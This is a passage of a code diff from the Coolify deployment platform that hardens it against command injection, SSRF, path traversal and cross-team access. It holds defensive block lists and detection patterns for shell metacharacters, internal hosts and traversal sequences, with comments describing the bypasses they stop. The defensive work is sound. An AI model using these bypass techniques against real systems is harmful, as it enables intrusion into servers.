'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN], + 'isPreviewSuffixEnabled' => 'required|boolean', + ]; + } + + protected function messages(): array + { + return array_merge( + ValidationPatterns::volumeNameMessages(), + [ + 'mountPath.regex' => 'Mount path must start with / and only contain safe path characters.', + 'hostPath.regex' => 'Host path must start with / and only contain safe path characters.', + ] + ); + } + /** * Sync data between component properties and model * diff --git a/app/Livewire/Security/ApiTokens.php b/app/Livewire/Security/ApiTokens.php index a263acedf..37d5332f3 100644 --- a/app/Livewire/Security/ApiTokens.php +++ b/app/Livewire/Security/ApiTokens.php @@ -13,10 +13,20 @@ class ApiTokens extends Component public ?string $description = null; + public ?int $expiresInDays = 30; + public $tokens = []; public array $permissions = ['read']; + public array $expirationOptions = [ + 7 => '7 days', + 30 => '30 days', + 60 => '60 days', + 90 => '90 days', + 365 => '1 year', + ]; + public $isApiEnabled; public bool $canUseRootPermissions = false; @@ -90,8 +100,10 @@ public function addNewToken() $this->validate([ 'description' => 'required|min:3|max:255', + 'expiresInDays' => 'nullable|integer|in:7,30,60,90,365', ]); - $token = auth()->user()->createToken($this->description, array_values($this->permissions)); + $expiresAt = $this->expiresInDays ? now()->addDays($this->expiresInDays) : null; + $token = auth()->user()->createToken($this->description, array_values($this->permissions), $expiresAt); $this->getTokens(); session()->flash('token', $token->plainTextToken); } catch (\Exception $e) { diff --git a/app/Livewire/Settings/Index.php b/app/Livewire/Settings/Index.php index 9a51d107d..c2789aa91 100644 --- a/app/Livewire/Settings/Index.php +++ b/app/Livewire/Settings/Index.php @@ -35,7 +35,7 @@ class Index extends Component #[Validate('required|string|timezone')] public string $instance_timezone; - #[Validate('nullable|string|max:50')] + #[Validate(['nullable', 'string', 'max:128', 'regex:/^[A-Za-z0-9_][A-Za-z0-9_.-]{0,127}$/'])] public ?string $dev_helper_version = null; public array $domainConflicts = []; @@ -49,6 +49,7 @@ class Index extends Component protected array $messages = [ 'fqdn.url' => 'Invalid instance URL.', 'fqdn.max' => 'URL must not exceed 255 characters.', + 'dev_helper_version.regex' => 'Dev helper version must match Docker tag format (alphanumeric, _, ., -; first char cannot be . or -).', ]; public function render() @@ -184,6 +185,8 @@ public function buildHelperImage() return; } + $this->validateOnly('dev_helper_version'); + $version = $this->dev_helper_version ?: config('constants.coolify.helper_version'); if (empty($version)) { $this->dispatch('error', 'Please specify a version to build.'); @@ -191,7 +194,14 @@ public function buildHelperImage() return; } - $buildCommand = "docker build -t ghcr.io/coollabsio/coolify-helper:{$version} -f docker/coolify-helper/Dockerfile ."; + if (! preg_match('/^[A-Za-z0-9_][A-Za-z0-9_.-]{0,127}$/', (string) $version)) { + $this->dispatch('error', 'Invalid helper version format.'); + + return; + } + + $imageRef = escapeshellarg("ghcr.io/coollabsio/coolify-helper:{$version}"); + $buildCommand = "docker build -t {$imageRef} -f docker/coolify-helper/Dockerfile ."; $activity = remote_process( command: [$buildCommand], diff --git a/app/Livewire/Storage/Create.php b/app/Livewire/Storage/Create.php index eda20342b..c3db34066 100644 --- a/app/Livewire/Storage/Create.php +++ b/app/Livewire/Storage/Create.php @@ -3,6 +3,7 @@ namespace App\Livewire\Storage; use App\Models\S3Storage; +use App\Rules\SafeWebhookUrl; use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Uri; @@ -37,7 +38,7 @@ protected function rules(): array 'key' => 'required|max:255', 'secret' => 'required|max:255', 'bucket' => 'required|max:255', - 'endpoint' => 'required|url|max:255', + 'endpoint' => ['required', 'max:255', new SafeWebhookUrl], ]; } @@ -55,7 +56,6 @@ protected function messages(): array 'bucket.required' => 'The Bucket field is required.', 'bucket.max' => 'The Bucket may not be greater than 255 characters.', 'endpoint.required' => 'The Endpoint field is required.', - 'endpoint.url' => 'The Endpoint must be a valid URL.', 'endpoint.max' => 'The Endpoint may not be greater than 255 characters.', ] ); diff --git a/app/Livewire/Storage/Form.php b/app/Livewire/Storage/Form.php index 791226334..342d629cb 100644 --- a/app/Livewire/Storage/Form.php +++ b/app/Livewire/Storage/Form.php @@ -3,6 +3,7 @@ namespace App\Livewire\Storage; use App\Models\S3Storage; +use App\Rules\SafeWebhookUrl; use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Facades\DB; @@ -42,7 +43,7 @@ protected function rules(): array 'key' => 'required|max:255', 'secret' => 'required|max:255', 'bucket' => 'required|max:255', - 'endpoint' => 'required|url|max:255', + 'endpoint' => ['required', 'max:255', new SafeWebhookUrl], ]; } @@ -60,7 +61,6 @@ protected function messages(): array 'bucket.required' => 'The Bucket field is required.', 'bucket.max' => 'The Bucket may not be greater than 255 characters.', 'endpoint.required' => 'The Endpoint field is required.', - 'endpoint.url' => 'The Endpoint must be a valid URL.', 'endpoint.max' => 'The Endpoint may not be greater than 255 characters.', ] ); diff --git a/app/Livewire/Storage/Resources.php b/app/Livewire/Storage/Resources.php index 643ecb3eb..0dad2d548 100644 --- a/app/Livewire/Storage/Resources.php +++ b/app/Livewire/Storage/Resources.php @@ -25,7 +25,9 @@ public function mount(): void public function disableS3(int $backupId): void { - $backup = ScheduledDatabaseBackup::findOrFail($backupId); + $backup = ScheduledDatabaseBackup::where('id', $backupId) + ->where('s3_storage_id', $this->storage->id) + ->firstOrFail(); $backup->update([ 'save_s3' => false, @@ -39,7 +41,9 @@ public function disableS3(int $backupId): void public function moveBackup(int $backupId): void { - $backup = ScheduledDatabaseBackup::findOrFail($backupId); + $backup = ScheduledDatabaseBackup::where('id', $backupId) + ->where('s3_storage_id', $this->storage->id) + ->firstOrFail(); $newStorageId = $this->selectedStorages[$backupId] ?? null; if (! $newStorageId || (int) $newStorageId === $this->storage->id) { diff --git a/app/Models/Application.php b/app/Models/Application.php index f5d10dece..2201b1d16 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -215,14 +215,27 @@ class Application extends BaseModel protected $appends = ['server_status']; - protected $casts = [ - 'http_basic_auth_password' => 'encrypted', - 'restart_count' => 'integer', - 'last_restart_at' => 'datetime', - ]; + protected function casts(): array + { + return [ + 'http_basic_auth_password' => 'encrypted', + 'manual_webhook_secret_github' => 'encrypted', + 'manual_webhook_secret_gitlab' => 'encrypted', + 'manual_webhook_secret_bitbucket' => 'encrypted', + 'manual_webhook_secret_gitea' => 'encrypted', + 'restart_count' => 'integer', + 'last_restart_at' => 'datetime', + ]; + } protected static function booted() { + static::creating(function ($application) { + $application->manual_webhook_secret_github ??= Str::random(40); + $application->manual_webhook_secret_gitlab ??= Str::random(40); + $application->manual_webhook_secret_bitbucket ??= Str::random(40); + $application->manual_webhook_secret_gitea ??= Str::random(40); + }); static::addGlobalScope('withRelations', function ($builder) { $builder->withCount([ 'additional_servers', diff --git a/app/Models/ApplicationPreview.php b/app/Models/ApplicationPreview.php index f08a48cea..9159fd0d8 100644 --- a/app/Models/ApplicationPreview.php +++ b/app/Models/ApplicationPreview.php @@ -2,6 +2,7 @@ namespace App\Models; +use App\Support\ValidationPatterns; use Illuminate\Database\Eloquent\SoftDeletes; use Spatie\Url\Url; use Visus\Cuid2\Cuid2; @@ -42,11 +43,18 @@ protected static function booted() $networkKeys = collect($networks)->keys(); $volumeKeys = collect($volumes)->keys(); $volumeKeys->each(function ($key) use ($server) { - instant_remote_process(["docker volume rm -f $key"], $server, false); + if (! preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $key)) { + return; + } + instant_remote_process(['docker volume rm -f '.escapeshellarg($key)], $server, false); }); $networkKeys->each(function ($key) use ($server) { - instant_remote_process(["docker network disconnect $key coolify-proxy"], $server, false); - instant_remote_process(["docker network rm $key"], $server, false); + if (! preg_match(ValidationPatterns::DOCKER_NETWORK_PATTERN, $key)) { + return; + } + $k = escapeshellarg($key); + instant_remote_process(["docker network disconnect {$k} coolify-proxy"], $server, false); + instant_remote_process(["docker network rm {$k}"], $server, false); }); } else { // Regular application volume cleanup diff --git a/app/Models/S3Storage.php b/app/Models/S3Storage.php index d6feccc7e..3f6ee51cc 100644 --- a/app/Models/S3Storage.php +++ b/app/Models/S3Storage.php @@ -2,11 +2,13 @@ namespace App\Models; +use App\Rules\SafeWebhookUrl; use App\Traits\HasSafeStringAttribute; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Notifications\Messages\MailMessage; use Illuminate\Support\Facades\Storage; +use Illuminate\Support\Facades\Validator; class S3Storage extends BaseModel { @@ -66,6 +68,13 @@ public static function ownedByCurrentTeam(array $select = ['*']) return S3Storage::whereTeamId(currentTeam()->id)->select($selectArray->all())->orderBy('name'); } + public static function ownedByCurrentTeamAPI(int $teamId, array $select = ['*']) + { + $selectArray = collect($select)->concat(['id']); + + return S3Storage::whereTeamId($teamId)->select($selectArray->all())->orderBy('name'); + } + public function isUsable() { return $this->is_usable; @@ -132,6 +141,14 @@ protected function region(): Attribute public function testConnection(bool $shouldSave = false) { try { + $validator = Validator::make( + ['endpoint' => $this['endpoint']], + ['endpoint' => ['required', new SafeWebhookUrl]], + ); + if ($validator->fails()) { + throw new \RuntimeException('S3 endpoint is not allowed: '.$validator->errors()->first('endpoint')); + } + $disk = Storage::build([ 'driver' => 's3', 'region' => $this['region'], diff --git a/app/Models/StandaloneDocker.php b/app/Models/StandaloneDocker.php index dcb349405..d6b4d1a1c 100644 --- a/app/Models/StandaloneDocker.php +++ b/app/Models/StandaloneDocker.php @@ -90,6 +90,16 @@ public function server() return $this->belongsTo(Server::class); } + public static function ownedByCurrentTeam() + { + return static::whereHas('server', fn ($q) => $q->whereTeamId(currentTeam()->id)); + } + + public static function ownedByCurrentTeamAPI(int $teamId) + { + return static::whereHas('server', fn ($q) => $q->whereTeamId($teamId)); + } + /** * Get the server attribute using identity map caching. * This intercepts lazy-loading to use cached Server lookups. diff --git a/app/Models/SwarmDocker.php b/app/Models/SwarmDocker.php index 134e36189..0e9620457 100644 --- a/app/Models/SwarmDocker.php +++ b/app/Models/SwarmDocker.php @@ -71,6 +71,16 @@ public function server() return $this->belongsTo(Server::class); } + public static function ownedByCurrentTeam() + { + return static::whereHas('server', fn ($q) => $q->whereTeamId(currentTeam()->id)); + } + + public static function ownedByCurrentTeamAPI(int $teamId) + { + return static::whereHas('server', fn ($q) => $q->whereTeamId($teamId)); + } + /** * Get the server attribute using identity map caching. * This intercepts lazy-loading to use cached Server lookups. diff --git a/app/Models/User.php b/app/Models/User.php index 3199d2024..237f3836f 100644 --- a/app/Models/User.php +++ b/app/Models/User.php @@ -257,7 +257,7 @@ public function sendVerificationEmail() Carbon::now()->addMinutes(Config::get('auth.verification.expire', 60)), [ 'id' => $this->getKey(), - 'hash' => sha1($this->getEmailForVerification()), + 'hash' => hash('sha256', $this->getEmailForVerification()), ] ); $mail->view('emails.email-verification', [ diff --git a/app/Notifications/ApiTokenExpiringNotification.php b/app/Notifications/ApiTokenExpiringNotification.php new file mode 100644 index 000000000..451dd312a --- /dev/null +++ b/app/Notifications/ApiTokenExpiringNotification.php @@ -0,0 +1,103 @@ +onQueue('high'); + $this->tokenName = $token->name; + $this->expiresAt = $token->expires_at?->format('Y-m-d H:i:s') ?? ''; + $this->manageUrl = route('security.api-tokens'); + } + + public function via(object $notifiable): array + { + return $notifiable->getEnabledChannels('api_token_expiring'); + } + + public function toMail(): MailMessage + { + $mail = new MailMessage; + $mail->subject("Coolify: API token '{$this->tokenName}' expires in 24 hours"); + $mail->view('emails.api-token-expiring', [ + 'tokenName' => $this->tokenName, + 'expiresAt' => $this->expiresAt, + 'manageUrl' => $this->manageUrl, + ]); + + return $mail; + } + + public function toDiscord(): DiscordMessage + { + $message = new DiscordMessage( + title: '🔑 API token expiring soon', + description: "API token **{$this->tokenName}** expires on {$this->expiresAt}.\n\n**Action Required:** Rotate this token before it expires to avoid API outages.", + color: DiscordMessage::warningColor(), + ); + + $message->addField('Manage tokens', "[Open Security settings]({$this->manageUrl})"); + + return $message; + } + + public function toTelegram(): array + { + $message = "Coolify: API token '{$this->tokenName}' expires on {$this->expiresAt}.\n\nAction Required: Rotate this token before it expires to avoid API outages."; + + return [ + 'message' => $message, + 'buttons' => [ + [ + 'text' => 'Manage API tokens', + 'url' => $this->manageUrl, + ], + ], + ]; + } + + public function toPushover(): PushoverMessage + { + $message = "API token {$this->tokenName} expires on {$this->expiresAt}.

"; + $message .= 'Action Required: Rotate this token before it expires to avoid API outages.'; + + return new PushoverMessage( + title: 'API token expiring soon', + level: 'warning', + message: $message, + buttons: [ + [ + 'text' => 'Manage API tokens', + 'url' => $this->manageUrl, + ], + ], + ); + } + + public function toSlack(): SlackMessage + { + $description = "API token *{$this->tokenName}* expires on {$this->expiresAt}.\n\n"; + $description .= "*Action Required:* Rotate this token before it expires to avoid API outages.\n\n"; + $description .= "Manage tokens: {$this->manageUrl}"; + + return new SlackMessage( + title: '🔑 API token expiring soon', + description: $description, + color: SlackMessage::warningColor(), + ); + } +} diff --git a/app/Providers/RouteServiceProvider.php b/app/Providers/RouteServiceProvider.php index 2150126cd..4068572c8 100644 --- a/app/Providers/RouteServiceProvider.php +++ b/app/Providers/RouteServiceProvider.php @@ -54,5 +54,9 @@ protected function configureRateLimiting(): void RateLimiter::for('5', function (Request $request) { return Limit::perMinute(5)->by($request->user()?->id ?: $request->ip()); }); + + RateLimiter::for('feedback', function (Request $request) { + return Limit::perMinute(3)->by($request->user()?->id ?: $request->ip()); + }); } } diff --git a/app/Rules/SafeWebhookUrl.php b/app/Rules/SafeWebhookUrl.php index fbeb406af..3723e1db5 100644 --- a/app/Rules/SafeWebhookUrl.php +++ b/app/Rules/SafeWebhookUrl.php @@ -40,9 +40,15 @@ public function validate(string $attribute, mixed $value, Closure $fail): void $host = strtolower($host); + // Strip IPv6 brackets (e.g. "[::1]" -> "::1") before IP checks so bracketed + // literals can't sneak past filter_var FILTER_VALIDATE_IP. + $hostForIpCheck = (str_starts_with($host, '[') && str_ends_with($host, ']')) + ? substr($host, 1, -1) + : $host; + // Block well-known dangerous hostnames $blockedHosts = ['localhost', '0.0.0.0', '::1']; - if (in_array($host, $blockedHosts) || str_ends_with($host, '.internal')) { + if (in_array($hostForIpCheck, $blockedHosts) || str_ends_with($host, '.internal')) { Log::warning('Webhook URL points to blocked host', [ 'attribute' => $attribute, 'host' => $host, @@ -55,7 +61,7 @@ public function validate(string $attribute, mixed $value, Closure $fail): void } // Block loopback (127.0.0.0/8) and link-local/metadata (169.254.0.0/16) when IP is provided directly - if (filter_var($host, FILTER_VALIDATE_IP) && ($this->isLoopback($host) || $this->isLinkLocal($host))) { + if (filter_var($hostForIpCheck, FILTER_VALIDATE_IP) && ($this->isLoopback($hostForIpCheck) || $this->isLinkLocal($hostForIpCheck))) { Log::warning('Webhook URL points to blocked IP range', [ 'attribute' => $attribute, 'host' => $host, diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php index 88121384f..58dbbe1ac 100644 --- a/app/Support/ValidationPatterns.php +++ b/app/Support/ValidationPatterns.php @@ -36,15 +36,31 @@ class ValidationPatterns public const DOCKER_TARGET_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'; /** - * Pattern for shell-safe command strings (docker compose commands, docker run options) - * Blocks dangerous shell metacharacters: ; | ` $ ( ) > < newlines and carriage returns - * Allows & for command chaining (&&) which is common in multi-step build commands - * Allows double quotes for build args with spaces (e.g. --build-arg KEY="value") - * Blocks backslashes to prevent escape-sequence attacks - * Allows single and double quotes for quoted arguments (e.g. --entrypoint "sh -c 'npm start'") - * Uses [ \t] instead of \s to explicitly exclude \n and \r (which act as command separators) + * Token-aware pattern for shell-safe command strings (docker compose commands, docker run options). + * + * Accepts a sequence of the following tokens only: + * [ \t]+ — whitespace (space / tab) + * && — logical AND (matched before bare & can match anything) + * || — logical OR (matched before bare | can match anything) + * "[^"$`\\\n\r]*" — balanced double-quoted string; blocks $, backtick, \, newlines inside + * '[^'\n\r]*' — balanced single-quoted string; blocks newlines inside (all else literal) + * [safe-chars]+ — unquoted alphanumerics + safe path/arg chars (includes glob *, ?, and !) + * + * Blocked everywhere (outside and inside unquoted tokens): + * bare & (background op), bare |, ;, $, `, (, ), <, >, \, newline, CR + * + * Blocked inside double-quoted spans specifically: + * $ (variable/command expansion), ` (command substitution), \ (escape) + * + * Legitimate use cases preserved: + * docker compose build && docker tag x && docker push y + * make build || make clean + * rm *.tmp cp src/?.js dist/ + * ! grep -q foo && echo missing + * docker compose up -d --build-arg VERSION="1.0.0" + * --entrypoint "sh -c 'npm start'" */ - public const SHELL_SAFE_COMMAND_PATTERN = '/^[a-zA-Z0-9 \t._\-\/=:@,+\[\]{}#%^~&"\']+$/'; + public const SHELL_SAFE_COMMAND_PATTERN = '/^(?:[ \t]+|&&|\|\||"[^"$`\\\\\n\r]*"|\'[^\'\n\r]*\'|[a-zA-Z0-9._\-\/=:@,+\[\]{}#%^~*?!]+)+$/'; /** * Pattern for Docker volume names @@ -66,6 +82,112 @@ class ValidationPatterns */ public const DOCKER_NETWORK_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'; + /** + * Pattern for SQL-safe unquoted database identifiers (usernames, database names). + * Allows letters, digits, underscore; first char must be letter or underscore. + * Excludes all shell metacharacters. Max 63 chars (Postgres identifier limit). + */ + public const DB_IDENTIFIER_PATTERN = '/^[A-Za-z_][A-Za-z0-9_]{0,62}$/'; + + /** + * Pattern for database passwords. + * Excludes shell-dangerous characters: backtick, $, ;, |, &, <, >, \, ', ", space, newline, CR, tab, null. + * Allows a broad set of printable characters so passwords remain strong. + */ + public const DB_PASSWORD_PATTERN = '/^[A-Za-z0-9!@#%^*()_+\-=\[\]{}:,.?\/~]+$/'; + + /** + * Get validation rules for database identifier fields (username, database name). + * + * Set $enforcePattern to false to skip the regex check (for example when + * re-validating a legacy value on an existing record that has not been + * changed by the user). The length and type rules are always applied. + */ + public static function databaseIdentifierRules(bool $required = true, int $minLength = 1, int $maxLength = 63, bool $enforcePattern = true): array + { + $rules = []; + + if ($required) { + $rules[] = 'required'; + } else { + $rules[] = 'nullable'; + } + + $rules[] = 'string'; + $rules[] = "min:$minLength"; + $rules[] = "max:$maxLength"; + + if ($enforcePattern) { + $rules[] = 'regex:'.self::DB_IDENTIFIER_PATTERN; + } + + return $rules; + } + + /** + * Get validation messages for database identifier fields. + */ + public static function databaseIdentifierMessages(string $field, string $label = ''): array + { + $label = $label ?: $field; + + return [ + "{$field}.regex" => "The {$label} may only contain letters, digits, and underscores, and must start with a letter or underscore.", + "{$field}.min" => "The {$label} must be at least :min character.", + "{$field}.max" => "The {$label} may not be greater than :max characters.", + ]; + } + + /** + * Get validation rules for database password fields. + * + * Set $enforcePattern to false to skip the regex check (for example when + * re-validating a legacy value on an existing record that has not been + * changed by the user). The length and type rules are always applied. + */ + public static function databasePasswordRules(bool $required = true, int $minLength = 1, int $maxLength = 128, bool $enforcePattern = true): array + { + $rules = []; + + if ($required) { + $rules[] = 'required'; + } else { + $rules[] = 'nullable'; + } + + $rules[] = 'string'; + $rules[] = "min:$minLength"; + $rules[] = "max:$maxLength"; + + if ($enforcePattern) { + $rules[] = 'regex:'.self::DB_PASSWORD_PATTERN; + } + + return $rules; + } + + /** + * Get validation messages for database password fields. + */ + public static function databasePasswordMessages(string $field, string $label = ''): array + { + $label = $label ?: $field; + + return [ + "{$field}.regex" => "The {$label} may not contain shell-unsafe characters (backtick, \$, ;, |, &, <, >, \\, quotes, spaces, or control characters).", + "{$field}.min" => "The {$label} must be at least :min character.", + "{$field}.max" => "The {$label} may not be greater than :max characters.", + ]; + } + + /** + * Check if a string is a valid database identifier. + */ + public static function isValidDatabaseIdentifier(string $value): bool + { + return preg_match(self::DB_IDENTIFIER_PATTERN, $value) === 1; + } + /** * Get validation rules for name fields */ diff --git a/app/Traits/HasNotificationSettings.php b/app/Traits/HasNotificationSettings.php index fded435fd..9333eb504 100644 --- a/app/Traits/HasNotificationSettings.php +++ b/app/Traits/HasNotificationSettings.php @@ -19,6 +19,7 @@ trait HasNotificationSettings 'test', 'ssl_certificate_renewal', 'hetzner_deletion_failure', + 'api_token_expiring', ]; /** diff --git a/bootstrap/helpers/databases.php b/bootstrap/helpers/databases.php index 5df36db33..4d5e085f3 100644 --- a/bootstrap/helpers/databases.php +++ b/bootstrap/helpers/databases.php @@ -3,6 +3,7 @@ use App\Models\EnvironmentVariable; use App\Models\S3Storage; use App\Models\Server; +use App\Models\ServiceDatabase; use App\Models\StandaloneClickhouse; use App\Models\StandaloneDocker; use App\Models\StandaloneDragonfly; @@ -12,18 +13,19 @@ use App\Models\StandaloneMysql; use App\Models\StandalonePostgresql; use App\Models\StandaloneRedis; +use App\Models\SwarmDocker; use Illuminate\Support\Collection; use Illuminate\Support\Facades\Storage; +use Illuminate\Support\Str; use Visus\Cuid2\Cuid2; -function create_standalone_postgresql($environmentId, $destinationUuid, ?array $otherData = null, string $databaseImage = 'postgres:16-alpine'): StandalonePostgresql +function create_standalone_postgresql($environmentId, StandaloneDocker|SwarmDocker $destination, ?array $otherData = null, string $databaseImage = 'postgres:16-alpine'): StandalonePostgresql { - $destination = StandaloneDocker::where('uuid', $destinationUuid)->firstOrFail(); $database = new StandalonePostgresql; $database->uuid = (new Cuid2); $database->name = 'postgresql-database-'.$database->uuid; $database->image = $databaseImage; - $database->postgres_password = \Illuminate\Support\Str::password(length: 64, symbols: false); + $database->postgres_password = Str::password(length: 64, symbols: false); $database->environment_id = $environmentId; $database->destination_id = $destination->id; $database->destination_type = $destination->getMorphClass(); @@ -35,14 +37,13 @@ function create_standalone_postgresql($environmentId, $destinationUuid, ?array $ return $database; } -function create_standalone_redis($environment_id, $destination_uuid, ?array $otherData = null): StandaloneRedis +function create_standalone_redis($environment_id, StandaloneDocker|SwarmDocker $destination, ?array $otherData = null): StandaloneRedis { - $destination = StandaloneDocker::where('uuid', $destination_uuid)->firstOrFail(); $database = new StandaloneRedis; $database->uuid = (new Cuid2); $database->name = 'redis-database-'.$database->uuid; - $redis_password = \Illuminate\Support\Str::password(length: 64, symbols: false); + $redis_password = Str::password(length: 64, symbols: false); if ($otherData && isset($otherData['redis_password'])) { $redis_password = $otherData['redis_password']; unset($otherData['redis_password']); @@ -75,13 +76,12 @@ function create_standalone_redis($environment_id, $destination_uuid, ?array $oth return $database; } -function create_standalone_mongodb($environment_id, $destination_uuid, ?array $otherData = null): StandaloneMongodb +function create_standalone_mongodb($environment_id, StandaloneDocker|SwarmDocker $destination, ?array $otherData = null): StandaloneMongodb { - $destination = StandaloneDocker::where('uuid', $destination_uuid)->firstOrFail(); $database = new StandaloneMongodb; $database->uuid = (new Cuid2); $database->name = 'mongodb-database-'.$database->uuid; - $database->mongo_initdb_root_password = \Illuminate\Support\Str::password(length: 64, symbols: false); + $database->mongo_initdb_root_password = Str::password(length: 64, symbols: false); $database->environment_id = $environment_id; $database->destination_id = $destination->id; $database->destination_type = $destination->getMorphClass(); @@ -93,14 +93,13 @@ function create_standalone_mongodb($environment_id, $destination_uuid, ?array $o return $database; } -function create_standalone_mysql($environment_id, $destination_uuid, ?array $otherData = null): StandaloneMysql +function create_standalone_mysql($environment_id, StandaloneDocker|SwarmDocker $destination, ?array $otherData = null): StandaloneMysql { - $destination = StandaloneDocker::where('uuid', $destination_uuid)->firstOrFail(); $database = new StandaloneMysql; $database->uuid = (new Cuid2); $database->name = 'mysql-database-'.$database->uuid; - $database->mysql_root_password = \Illuminate\Support\Str::password(length: 64, symbols: false); - $database->mysql_password = \Illuminate\Support\Str::password(length: 64, symbols: false); + $database->mysql_root_password = Str::password(length: 64, symbols: false); + $database->mysql_password = Str::password(length: 64, symbols: false); $database->environment_id = $environment_id; $database->destination_id = $destination->id; $database->destination_type = $destination->getMorphClass(); @@ -112,14 +111,13 @@ function create_standalone_mysql($environment_id, $destination_uuid, ?array $oth return $database; } -function create_standalone_mariadb($environment_id, $destination_uuid, ?array $otherData = null): StandaloneMariadb +function create_standalone_mariadb($environment_id, StandaloneDocker|SwarmDocker $destination, ?array $otherData = null): StandaloneMariadb { - $destination = StandaloneDocker::where('uuid', $destination_uuid)->firstOrFail(); $database = new StandaloneMariadb; $database->uuid = (new Cuid2); $database->name = 'mariadb-database-'.$database->uuid; - $database->mariadb_root_password = \Illuminate\Support\Str::password(length: 64, symbols: false); - $database->mariadb_password = \Illuminate\Support\Str::password(length: 64, symbols: false); + $database->mariadb_root_password = Str::password(length: 64, symbols: false); + $database->mariadb_password = Str::password(length: 64, symbols: false); $database->environment_id = $environment_id; $database->destination_id = $destination->id; $database->destination_type = $destination->getMorphClass(); @@ -131,13 +129,12 @@ function create_standalone_mariadb($environment_id, $destination_uuid, ?array $o return $database; } -function create_standalone_keydb($environment_id, $destination_uuid, ?array $otherData = null): StandaloneKeydb +function create_standalone_keydb($environment_id, StandaloneDocker|SwarmDocker $destination, ?array $otherData = null): StandaloneKeydb { - $destination = StandaloneDocker::where('uuid', $destination_uuid)->firstOrFail(); $database = new StandaloneKeydb; $database->uuid = (new Cuid2); $database->name = 'keydb-database-'.$database->uuid; - $database->keydb_password = \Illuminate\Support\Str::password(length: 64, symbols: false); + $database->keydb_password = Str::password(length: 64, symbols: false); $database->environment_id = $environment_id; $database->destination_id = $destination->id; $database->destination_type = $destination->getMorphClass(); @@ -149,13 +146,12 @@ function create_standalone_keydb($environment_id, $destination_uuid, ?array $oth return $database; } -function create_standalone_dragonfly($environment_id, $destination_uuid, ?array $otherData = null): StandaloneDragonfly +function create_standalone_dragonfly($environment_id, StandaloneDocker|SwarmDocker $destination, ?array $otherData = null): StandaloneDragonfly { - $destination = StandaloneDocker::where('uuid', $destination_uuid)->firstOrFail(); $database = new StandaloneDragonfly; $database->uuid = (new Cuid2); $database->name = 'dragonfly-database-'.$database->uuid; - $database->dragonfly_password = \Illuminate\Support\Str::password(length: 64, symbols: false); + $database->dragonfly_password = Str::password(length: 64, symbols: false); $database->environment_id = $environment_id; $database->destination_id = $destination->id; $database->destination_type = $destination->getMorphClass(); @@ -167,13 +163,12 @@ function create_standalone_dragonfly($environment_id, $destination_uuid, ?array return $database; } -function create_standalone_clickhouse($environment_id, $destination_uuid, ?array $otherData = null): StandaloneClickhouse +function create_standalone_clickhouse($environment_id, StandaloneDocker|SwarmDocker $destination, ?array $otherData = null): StandaloneClickhouse { - $destination = StandaloneDocker::where('uuid', $destination_uuid)->firstOrFail(); $database = new StandaloneClickhouse; $database->uuid = (new Cuid2); $database->name = 'clickhouse-database-'.$database->uuid; - $database->clickhouse_admin_password = \Illuminate\Support\Str::password(length: 64, symbols: false); + $database->clickhouse_admin_password = Str::password(length: 64, symbols: false); $database->environment_id = $environment_id; $database->destination_id = $destination->id; $database->destination_type = $destination->getMorphClass(); @@ -279,7 +274,7 @@ function removeOldBackups($backup): void ->whereNull('s3_uploaded') ->delete(); - } catch (\Exception $e) { + } catch (Exception $e) { throw $e; } } @@ -345,7 +340,7 @@ function deleteOldBackupsLocally($backup): Collection $processedBackups = collect(); $server = null; - if ($backup->database_type === \App\Models\ServiceDatabase::class) { + if ($backup->database_type === ServiceDatabase::class) { $server = $backup->database->service->server; } else { $server = $backup->database->destination->server; diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index 011c149c9..9f0f2cd73 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -18,6 +18,7 @@ use App\Models\ServiceDatabase; use App\Models\SharedEnvironmentVariable; use App\Models\StandaloneClickhouse; +use App\Models\StandaloneDocker; use App\Models\StandaloneDragonfly; use App\Models\StandaloneKeydb; use App\Models\StandaloneMariadb; @@ -25,6 +26,7 @@ use App\Models\StandaloneMysql; use App\Models\StandalonePostgresql; use App\Models\StandaloneRedis; +use App\Models\SwarmDocker; use App\Models\Team; use App\Models\User; use Carbon\CarbonImmutable; @@ -155,6 +157,73 @@ function validateShellSafePath(string $input, string $context = 'path'): string return $input; } +/** + * Validate that a filename is safe for use as a plain file name (no path components). + * + * Prevents path traversal attacks by rejecting directory separators, traversal + * sequences, and null bytes, in addition to all shell metacharacters blocked by + * validateShellSafePath(). Intended for user-supplied filenames such as PostgreSQL + * init script names that are later written to a specific directory on the host. + * + * @param string $input The filename to validate + * @param string $context Descriptive name for error messages (e.g., 'init script filename') + * @return string The validated input (unchanged if valid) + * + * @throws Exception If dangerous characters or path traversal sequences are detected + */ +function validateFilenameSafe(string $input, string $context = 'filename'): string +{ + // First apply shell-metachar checks + validateShellSafePath($input, $context); + + // Reject NUL bytes (can be used to truncate path strings in some contexts) + if (str_contains($input, "\0")) { + throw new Exception( + "Invalid {$context}: contains null byte. ". + 'Null bytes are not allowed in filenames for security reasons.' + ); + } + + // Reject directory separators — filename must be a single path component + if (str_contains($input, '/') || str_contains($input, '\\')) { + throw new Exception( + "Invalid {$context}: directory separators ('/' or '\\') are not allowed. ". + 'Provide a plain filename without path components.' + ); + } + + // Reject path traversal sequences (catches encoded or unusual forms) + if (str_contains($input, '..')) { + throw new Exception( + "Invalid {$context}: path traversal sequence ('..') is not allowed." + ); + } + + // Reject shell globbing / expansion metacharacters and whitespace that would + // split the filename into additional shell arguments if ever interpolated + // unquoted (defence in depth on top of escapeshellarg() at call sites). + $shellExpansionChars = [ + ' ' => 'whitespace', + '*' => 'glob wildcard', + '?' => 'glob wildcard', + '[' => 'glob character class', + ']' => 'glob character class', + '~' => 'tilde expansion', + '"' => 'double quote', + "'" => 'single quote', + ]; + + foreach ($shellExpansionChars as $char => $description) { + if (str_contains($input, $char)) { + throw new Exception( + "Invalid {$context}: contains forbidden character '{$char}' ({$description})." + ); + } + } + + return $input; +} + /** * Validate that a databases_to_backup input string is safe from command injection. * @@ 